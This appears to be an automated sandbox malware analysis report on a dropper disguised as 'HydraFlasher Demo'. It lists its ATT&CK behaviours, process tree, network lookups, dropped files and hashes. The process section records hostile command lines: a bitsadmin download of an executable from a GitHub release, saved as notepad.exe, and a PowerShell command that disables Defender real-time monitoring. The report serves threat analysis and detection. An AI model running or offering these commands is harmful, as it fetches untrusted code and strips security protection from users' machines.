Malware Analysis Report

2024-10-24 20:51

Sample ID 240826-fe1wpaxdkk
Target HydraFlasher Demo V-5.6.exe
SHA256 536f89dfb901d73ce17c796a32328282d6b0550c3e462dff09d488e1260584c0
Tags
discovery dropper execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

536f89dfb901d73ce17c796a32328282d6b0550c3e462dff09d488e1260584c0

Threat Level: Likely malicious

The file HydraFlasher Demo V-5.6.exe was found to be: Likely malicious.

Malicious Activity Summary

discovery dropper execution

Download via BitsAdmin

Checks computer location settings

Executes dropped EXE

.NET Reactor proctector

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

Unsigned PE

System Location Discovery: System Language Discovery

Modifies registry class

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-26 04:47

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-26 04:47

Reported

2024-08-26 04:48

Platform

win10v2004-20240802-en

Max time kernel

13s

Max time network

15s

Command Line

"C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe"

Signatures

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe N/A
N/A N/A C:\Users\Admin\HydraFlasher Demo.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\HydraFlasher Demo.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\bitsadmin.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3224 wrote to memory of 1128 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe
PID 3224 wrote to memory of 1128 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe
PID 1128 wrote to memory of 884 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Windows\SysWOW64\mshta.exe
PID 1128 wrote to memory of 884 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Windows\SysWOW64\mshta.exe
PID 1128 wrote to memory of 884 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Windows\SysWOW64\mshta.exe
PID 1128 wrote to memory of 964 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Users\Admin\HydraFlasher Demo.exe
PID 1128 wrote to memory of 964 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Users\Admin\HydraFlasher Demo.exe
PID 1128 wrote to memory of 964 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Users\Admin\HydraFlasher Demo.exe
PID 884 wrote to memory of 4908 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 884 wrote to memory of 4908 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 884 wrote to memory of 4908 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 964 wrote to memory of 2428 N/A C:\Users\Admin\HydraFlasher Demo.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 964 wrote to memory of 2428 N/A C:\Users\Admin\HydraFlasher Demo.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 964 wrote to memory of 2428 N/A C:\Users\Admin\HydraFlasher Demo.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe

"C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe"

C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe

"C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe"

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Users\Admin\HydraFlasher Demo.exe

"C:\Users\Admin\HydraFlasher Demo.exe"

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/sleeper-cell/security/releases/download/dllhost/xvchosts.exe C:\Users\Admin\AppData\Roaming\notepad.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -ExecutionPolicy Bypass -Command Set-MpPreference -DisableRealtimeMonitoring $true

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe

MD5 154e7c4941e5c99f6fe369ff90dc8370
SHA1 d155c4fcccc60ae26291fd1177780b3591ccbb49
SHA256 ff295bc05708762ae2fc54195c8785708291219e6d07ec52077980049e1f3d24
SHA512 c37427cae52c78d95829b690113a5dab7c4a859a7d2c8781bd1580c9af24b6a7eb53d0d3bdaf87aa505035f2620e36e5688ea5da90eb7c16203a7bea634c544d

memory/1128-11-0x00007FFC8BFC3000-0x00007FFC8BFC5000-memory.dmp

memory/1128-12-0x0000000000C60000-0x000000000170A000-memory.dmp

C:\Users\Admin\Downloader.hta

MD5 2dc6046e1cd218ba1ae101c6a96cb1ea
SHA1 26f057f84ca50739d3be3bdb022906b296364744
SHA256 012954762478b91e47a668255ce82791a4078761b18aaa74fc4e4c7168214cc8
SHA512 49f202b82a9561022b5b1299bbb2fcbda7ac89de6b8cfe7d5ba68ba08002b0cdefa93642128c08b217741644245fa2f550581bb4107676a592d615cdcdaa9179

C:\Users\Admin\HydraFlasher Demo.exe

MD5 ac70d7032b72fb148ac74a0b902de461
SHA1 c3fe932e0e5f672b1dedd5309087f7e7d165c683
SHA256 a672ed87b2f51e8f549194b1e2bdfcd8b3d3326bc60f2eb8e76ab7f4422a5c63
SHA512 f840046e0192605aacd9e428bb46fffd53bc39c7f0ce04ccb5ba81df35cee36a6fffc7cbd6ad51e89eea3cbbc3687951a3baf8de662c4068cc026dba62a44b8a

memory/964-46-0x00000000007F0000-0x0000000001290000-memory.dmp

memory/964-47-0x0000000006460000-0x0000000006A04000-memory.dmp

memory/964-48-0x0000000005D30000-0x0000000005DC2000-memory.dmp

memory/964-49-0x0000000005CA0000-0x0000000005CAA000-memory.dmp

memory/2428-50-0x00000000028F0000-0x0000000002926000-memory.dmp

memory/2428-51-0x0000000005410000-0x0000000005A38000-memory.dmp

memory/2428-52-0x0000000005320000-0x0000000005342000-memory.dmp

memory/2428-53-0x0000000005B40000-0x0000000005BA6000-memory.dmp

memory/2428-54-0x0000000005BB0000-0x0000000005C16000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bg3ltkrm.2yw.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2428-64-0x0000000005C20000-0x0000000005F74000-memory.dmp

memory/2428-65-0x00000000061F0000-0x000000000620E000-memory.dmp

memory/2428-66-0x0000000006280000-0x00000000062CC000-memory.dmp

memory/2428-68-0x000000006D8F0000-0x000000006D93C000-memory.dmp

memory/2428-67-0x00000000073E0000-0x0000000007412000-memory.dmp

memory/2428-78-0x00000000067A0000-0x00000000067BE000-memory.dmp

memory/2428-79-0x0000000007420000-0x00000000074C3000-memory.dmp

memory/2428-80-0x0000000007B50000-0x00000000081CA000-memory.dmp

memory/2428-81-0x0000000007510000-0x000000000752A000-memory.dmp

memory/2428-82-0x0000000007570000-0x000000000757A000-memory.dmp

memory/2428-83-0x00000000077A0000-0x0000000007836000-memory.dmp

memory/2428-84-0x0000000007710000-0x0000000007721000-memory.dmp

memory/2428-85-0x0000000007740000-0x000000000774E000-memory.dmp

memory/2428-86-0x0000000007750000-0x0000000007764000-memory.dmp

memory/2428-87-0x0000000007860000-0x000000000787A000-memory.dmp

memory/2428-88-0x0000000007790000-0x0000000007798000-memory.dmp